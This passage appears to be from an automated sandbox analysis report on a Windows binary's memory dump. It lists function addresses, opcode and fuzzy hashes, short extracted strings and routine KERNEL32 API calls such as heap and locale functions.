Opcode ID: 37fdcffe480b845a500c316ad3bc46fc477ff547e9ff4f3f5c67bd9d57bf6048
Instruction ID: f9bd2450d921c8439ae8069e184555a877a4dd557cb2a1177327f4d02235f09b
Opcode Fuzzy Hash: 37fdcffe480b845a500c316ad3bc46fc477ff547e9ff4f3f5c67bd9d57bf6048
Instruction Fuzzy Hash: F05179B29083419FC794DF29D98941FFBF0FB84728F104A2DF8E566220D7748A099B87

Uniqueness

Uniqueness Score: -1.00%

Function 00F82176, Relevance: 2.6, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

;E, xrefs: 00F822BF
4T @, xrefs: 00F82201

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4T @$;E
API String ID: 0-2491102183
Opcode ID: edba83e3da3a408de1fc8c65f631775c9e3fdd6b6ca89ca595e52f30ac42ae9d
Instruction ID: bd5c5a2bc78d4e95bfac4af4a35a1e0f9d9a2e6eea382fec056021a291c3b8d4
Opcode Fuzzy Hash: edba83e3da3a408de1fc8c65f631775c9e3fdd6b6ca89ca595e52f30ac42ae9d
Instruction Fuzzy Hash: 235188B15083419FD348DF24D98A40BBBE1FBC4758F508A1DF0896A260D3B5DA49DF96

Uniqueness

Uniqueness Score: -1.00%

Function 00F85DC3, Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

=7u/, xrefs: 00F85FC6
=7u/, xrefs: 00F85E7D

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: =7u/$=7u/
API String ID: 0-275303271
Opcode ID: 3990e8edfae930cdadbc0eb3905ee1c7631b7ac3e9f90cf9448b4b0d4e785b40
Instruction ID: 1f1ca31808b5d67b6e2e01ba7bf50e07250f885fc2b680054942fa4e7ee315c2
Opcode Fuzzy Hash: 3990e8edfae930cdadbc0eb3905ee1c7631b7ac3e9f90cf9448b4b0d4e785b40
Instruction Fuzzy Hash: 585189715083419FD758EF20848585FBBE1FBC8798F504A1CF69A9A220D3758A49EF83

Uniqueness

Uniqueness Score: -1.00%

Function 00F82DC5, Relevance: 2.6, Strings: 2, Instructions: 123COMMON

Download Yara Rule

Strings

`F, xrefs: 00F82ECD
50, xrefs: 00F82E29

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 50$`F
API String ID: 0-2597214580
Opcode ID: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction ID: ad7b80f69ad3f4dc1ab2096a7d74e2d7e93c8ade4d9181d2ed7e3486a56e50d3
Opcode Fuzzy Hash: 0364f6d1653c4bde0a341bef7ef3f32b1fe62a687ceb0c490c78cd4738c8066f
Instruction Fuzzy Hash: C75177725083429FC745DE21D88981FBBE1FBD8348F504A1CF69656220D7B9DA0ADF87

Uniqueness

Uniqueness Score: -1.00%

Function 00F8AEB9, Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

!\, xrefs: 00F8AFD4
yXw, xrefs: 00F8AF39

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: yXw$!\
API String ID: 0-755724215
Opcode ID: b1be75b36d4017003916e16fbb9d38da08679e49a41420f932b5cf241f07cf0a
Instruction ID: 931e851a0ef63620f003d27062c61d239159132816b871df1ce0039a6c4a6e2b
Opcode Fuzzy Hash: b1be75b36d4017003916e16fbb9d38da08679e49a41420f932b5cf241f07cf0a
Instruction Fuzzy Hash: 49410F72D00209EBCF44DFA5C94A8EEBBB5EF84318F208199D411B6260D7B91A56CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F9BFA1, Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

1VC, xrefs: 00F9C07A
HRG, xrefs: 00F9C055

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 1VC$HRG
API String ID: 0-1729148703
Opcode ID: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction ID: 18a041459dab46c46454fa61e47ffbb638728e0a2225a5713fbc09e3478087e0
Opcode Fuzzy Hash: d91384db02164864f113f243955d1fa5785661b934d34a94043782ee8d1840ae
Instruction Fuzzy Hash: 6D316A72908301CFD318DE25D94941FBBE1EBD4728F048A5EF898A7250D3B59D09CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00F90824, Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

:O, xrefs: 00F90910
g;{, xrefs: 00F90867

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: :O$g;{
API String ID: 0-3257243416
Opcode ID: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction ID: 9388adbdcce60fb7ae622b948baeb0f93af41cde5c6d54158d6727c52c713af6
Opcode Fuzzy Hash: 1f7edd328e28f6af2a72c4d4d6a5b36b3881e85017b5a27d0145efcadb109785
Instruction Fuzzy Hash: 0E41FFB580034AEBCF04CFA5DA0A8DEBFB1FF54318F108548E925A6220D3B59B65DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3744C, Relevance: 2.5, APIs: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,?,6ED3204A,?,?,00000000,?,?,C000008C), ref: 6ED37490
HeapFree.KERNEL32(00000000,?,6ED3204A,?,?,00000000,?,?,C000008C), ref: 6ED37497

Part of subcall function 6ED37304: GetProcessHeap.KERNEL32(00000000,?,?,6ED3746A,00000000,00000000,?,6ED3204A,?,?,00000000,?,?,C000008C), ref: 6ED3731C
Part of subcall function 6ED37304: HeapFree.KERNEL32(00000000,?,6ED3746A,00000000,00000000,?,6ED3204A,?,?,00000000,?,?,C000008C), ref: 6ED37323

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 18ba75742f3bdcf5ade175a3100dea3c836c2a97ccb49d85e48bc57f89b0c6d6
Instruction ID: b65ce173fd32b7f3db5d09f97e3fb43b7395c815205a76d8862e9bd43ec05d45
Opcode Fuzzy Hash: 18ba75742f3bdcf5ade175a3100dea3c836c2a97ccb49d85e48bc57f89b0c6d6
Instruction Fuzzy Hash: C6F01232101E35FFDA112BD5D818F9B7FA9DF87B21F208419E555665D08B31A441CE71

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4AE28, Relevance: 1.8, APIs: 1, Instructions: 274COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6ED4AE23,?,?,00000008,?,?,6ED565EA,00000000), ref: 6ED4B055

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 5e4267a3211868b8b5155097e3c2c122cb3914f7ead574f9a3afab04cd7221e0
Instruction ID: 43ea50f5edfb0fa7d8bddf537c1c338c7c8619a612953ce759b5e40b05761b85
Opcode Fuzzy Hash: 5e4267a3211868b8b5155097e3c2c122cb3914f7ead574f9a3afab04cd7221e0
Instruction Fuzzy Hash: 2AB13772210609CFD755CF68C496B987BA0FF25365F258668E8E9CF2E5C335E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6ED34C86, Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6ED34C9C

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 0b620d7c2b0485794e707f6ffb5a8f2a331389299e059939730c2e9f01ce77fd
Instruction ID: 8f808f5a07666cd77b5240614cd665327675cb37b5d71cf869a3784b623966a1
Opcode Fuzzy Hash: 0b620d7c2b0485794e707f6ffb5a8f2a331389299e059939730c2e9f01ce77fd
Instruction Fuzzy Hash: 35515CB1A10615CBEB44CF95D8917AEBBF1FB86311F20846AD815EB244D379DA42CF60

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4BA20, Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f7fb00ce9635659f01caea117eecb2a75a4d568ff3e86dbe91aa8cb8e33732b
Instruction ID: 3cb05cc15e8d6988a1fb9c2915a582877822290ceb81ca2517a6bcf42bcc8b84
Opcode Fuzzy Hash: 4f7fb00ce9635659f01caea117eecb2a75a4d568ff3e86dbe91aa8cb8e33732b
Instruction Fuzzy Hash: FC41A37580421CEEDB14DFB9CC88AEEBBB9EF55304F1442D9E45D93244DA309E848F20

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54C7C, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED489DE
Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED48A14

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6ED54CD0

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: eb747f5bf3fca7e0ef682517b795feca2a5bd97438dd1754fd3cd94cbaf50f53
Instruction ID: d03b6c81300db479b808cf37160520139478efe32aae177e801307b72cf079a1
Opcode Fuzzy Hash: eb747f5bf3fca7e0ef682517b795feca2a5bd97438dd1754fd3cd94cbaf50f53
Instruction Fuzzy Hash: 3C21D671514206EBEF289FA5DC51AFA73ACEF06314F10046AED02C7240EB35DD628761

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54901, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

EnumSystemLocalesW.KERNEL32(6ED54A27,00000001,00000000,?,6ED49DC4,?,6ED5505F,00000000,00000055,?,?), ref: 6ED54973

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0c400a6c742e1c86c40efac5676b17cb7f601d16859261f8d06797d4c39a0239
Instruction ID: a352aa4b696355181f74ac41af1f5949644be053860154e2a4a5208efbb5c59c
Opcode Fuzzy Hash: 0c400a6c742e1c86c40efac5676b17cb7f601d16859261f8d06797d4c39a0239
Instruction Fuzzy Hash: 8D11023A214701DFDF189F79C8915AABBA2FF84369B14482CE98787B40D731A923CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54EAC, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,6ED54D26,00000000,00000000,?), ref: 6ED54ED8

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0a76ee2846639c5c895e6cdbbbc1a417959b6fc960ac26cfabc806e6d0a8a60e
Instruction ID: 87a3b17b959a53fa7a74e9f79485054f9f3116ac65ac1ec887aeb3df6b2deb1d
Opcode Fuzzy Hash: 0a76ee2846639c5c895e6cdbbbc1a417959b6fc960ac26cfabc806e6d0a8a60e
Instruction Fuzzy Hash: 51F0D632900116FBEF149BA9C805ABA7768EB40755F010869EC57A3280DA70EE33C6E1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5480D, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED489DE
Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED48A14

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6ED49DCB,00000000,6ED49EEB), ref: 6ED54861

Strings

utf8, xrefs: 6ED547CE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free$InfoLocale
String ID: utf8
API String ID: 2003897158-905460609
Opcode ID: a7f50c258d21d658420850cdc7d9d95bcfcfa24d97b9d3edd5c10065bf0f2da1
Instruction ID: 8799268d8bb0db20cf60d513faafa078d024c41dc1749dd2f77caa944083ae08
Opcode Fuzzy Hash: a7f50c258d21d658420850cdc7d9d95bcfcfa24d97b9d3edd5c10065bf0f2da1
Instruction Fuzzy Hash: 88F02D32A10105EBDF149BB4DC05DFA37ACDB45324F100579E906D7240DF749D1687A1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED5499C, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

EnumSystemLocalesW.KERNEL32(6ED54C7C,00000001,00000000,?,6ED49DC4,?,6ED55023,6ED49DC4,00000055,?,?,?,?,6ED49DC4,?,?), ref: 6ED549E6

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f9013b531428106a74184b43e8a8c34d2edd373fa315d88038e9eaf35bc60397
Instruction ID: 6846c00b62b2c5d19225dff299e5be8e038caf7a0ff54b9c770b15fa6716e612
Opcode Fuzzy Hash: f9013b531428106a74184b43e8a8c34d2edd373fa315d88038e9eaf35bc60397
Instruction Fuzzy Hash: 93F04636200304EFDF249FB98881A7A7BA4EF80368B04442CF9464B780C771AC23CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6ED548B6, Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

EnumSystemLocalesW.KERNEL32(6ED5480D,00000001,00000000,?,?,6ED55081,6ED49DC4,00000055,?,?,?,?,6ED49DC4,?,?,?), ref: 6ED548ED

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c2ad54516c48fdb9678b783abb2b1f2c30622e45d3ebc7fac369e07792e94f82
Instruction ID: 58493f704dc0ff45e0a32078151cd8f9719cce5d8244d53229238d329327ac6b
Opcode Fuzzy Hash: c2ad54516c48fdb9678b783abb2b1f2c30622e45d3ebc7fac369e07792e94f82
Instruction Fuzzy Hash: 9BF02B3A70028597CF049FB9C844A6A7FE4EFC1759B064059EB0ACF350C635D853C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4C982, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 6ED45B64: EnterCriticalSection.KERNEL32(?,?,6ED44C53,00000000,6ED6A3D8,0000000C,6ED44C1A,?,?,6ED4B439,?,?,6ED48B1E,00000001,00000364,00000008), ref: 6ED45B73

EnumSystemLocalesW.KERNEL32(6ED4C975,00000001,6ED6A758,0000000C,6ED4CD3B,00000000), ref: 6ED4C9BA

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 652e02da639881840e11b6d3b49a08eacbfe5c74d4015cd3430b86fed65bd10b
Instruction ID: 5e10bf499852e9c5d857faa78f7f4da2a16060a6c9b5e78028603a2d0c5d0e5a
Opcode Fuzzy Hash: 652e02da639881840e11b6d3b49a08eacbfe5c74d4015cd3430b86fed65bd10b
Instruction Fuzzy Hash: E7F0587A910610EFEB40DFE8C440B9D37F4BB2A32AF244509E810DF290CB394A46CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6ED4CE41, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,?,?,6ED49EF3,?,20001004,?,00000002,00000000,?,?), ref: 6ED4CE75

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b72e0871e49c19c73664bbc5dad6a4e3fa0539f2d2fda4c739ddd1716d8a265c
Instruction ID: 3fa265c10352b961919395484653769aca3185e6d81f6c28d4d1e4f9642af6ab
Opcode Fuzzy Hash: b72e0871e49c19c73664bbc5dad6a4e3fa0539f2d2fda4c739ddd1716d8a265c
Instruction Fuzzy Hash: 5CE04F72641628FBEF125FA1DC14E9E3F29EF55B60F044820FC1569150CB318925AAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3C366, Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

0, xrefs: 6ED3C4FE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7dff476373b6382ecfa52dac57118e770c598ec0bb3fc851493bd8ddfe554567
Instruction ID: 4b172ce6ad4be10033593e06b5c844e8f10ec31918ac08d076070de57fd3f032
Opcode Fuzzy Hash: 7dff476373b6382ecfa52dac57118e770c598ec0bb3fc851493bd8ddfe554567
Instruction Fuzzy Hash: D5614772640736DEDB54CBE888A07BEB3A9EB47708F70492AD482DF2D0D751E9418771

Uniqueness

Uniqueness Score: -1.00%

Function 00F839C3, Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

^5}, xrefs: 00F83A59

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ^5}
API String ID: 0-367400351
Opcode ID: 7307e1ba05be1e1c25dc5419c880698da73b2020cb392fe39790510fdf130dfc
Instruction ID: c6350fb77fcc4e805a4269c9902f073fd7c44f827606a85b4df4b9fdff15eb38
Opcode Fuzzy Hash: 7307e1ba05be1e1c25dc5419c880698da73b2020cb392fe39790510fdf130dfc
Instruction Fuzzy Hash: B5A18B726083409BC768EF24C4995AFBBE1FFD4B58F50092DF58696230C7759A48EB83

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3C132, Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

0, xrefs: 6ED3C2AE

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f8843f869ee3a7cab789a99038b5158e12af4cc44804b228eaaba3f9a03773db
Instruction ID: 8508bb8f570c894585095602f66063d1c0aa5c055b9bfeb32d1a0b6fad9dd970
Opcode Fuzzy Hash: f8843f869ee3a7cab789a99038b5158e12af4cc44804b228eaaba3f9a03773db
Instruction Fuzzy Hash: C251CE75308679EADBB48BE88DA07EEB79D9F43304F30091AD891DF2C2C712D9059271

Uniqueness

Uniqueness Score: -1.00%

Function 00F88D59, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

Rz, xrefs: 00F88E1F

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Rz
API String ID: 0-2038740235
Opcode ID: 716499f3b84d9bb05f13bf87c7f435ec2e435c4103baed86234daa07a7427614
Instruction ID: 68e245d2f161588679f8825c36e7507f788a640493f52120239d2ec749986829
Opcode Fuzzy Hash: 716499f3b84d9bb05f13bf87c7f435ec2e435c4103baed86234daa07a7427614
Instruction Fuzzy Hash: 4C913EB24083419FC758DF26C98941BFBF1FBC5758F104A1DF2A696260D7B18A09DF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F833A9, Relevance: 1.4, Strings: 1, Instructions: 170COMMON

Download Yara Rule

Strings

&-, xrefs: 00F83483

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: &-
API String ID: 0-1647332301
Opcode ID: cdefc597025969db169275f845fd3a70c4481c4d2e877839571096f46d54f435
Instruction ID: c1a1cf5253dae8f95b166b1fda9e44b36dafbac77478128b47446707c9303b81
Opcode Fuzzy Hash: cdefc597025969db169275f845fd3a70c4481c4d2e877839571096f46d54f435
Instruction Fuzzy Hash: 337164714083419BCB58DF64C88A99FBFE1BBC4798F504A1DF1D256260D3B5CA4ACF82

Uniqueness

Uniqueness Score: -1.00%

Function 00F87D87, Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

]1, xrefs: 00F87DE5

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ]1
API String ID: 0-3136993215
Opcode ID: d7e4a39e9e5c26ff6825bbd63b05b5f75ece3416f93472cf8e37b08cdd133fa2
Instruction ID: bd44ae8aca3824aad6d969773cd9dccd380a2921843ff496cfad5b546b009691
Opcode Fuzzy Hash: d7e4a39e9e5c26ff6825bbd63b05b5f75ece3416f93472cf8e37b08cdd133fa2
Instruction Fuzzy Hash: 4851673200C341AFC758EF65D98985BBBE5FBD4758F504A0DF69252260C7B1CA49DF82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA2560, Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

){, xrefs: 00FA25AA

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ){
API String ID: 0-1738580931
Opcode ID: 4c27470c79ad73ccb5f55289d0ed3a651ff421185eb5969a21ce754adb2516a2
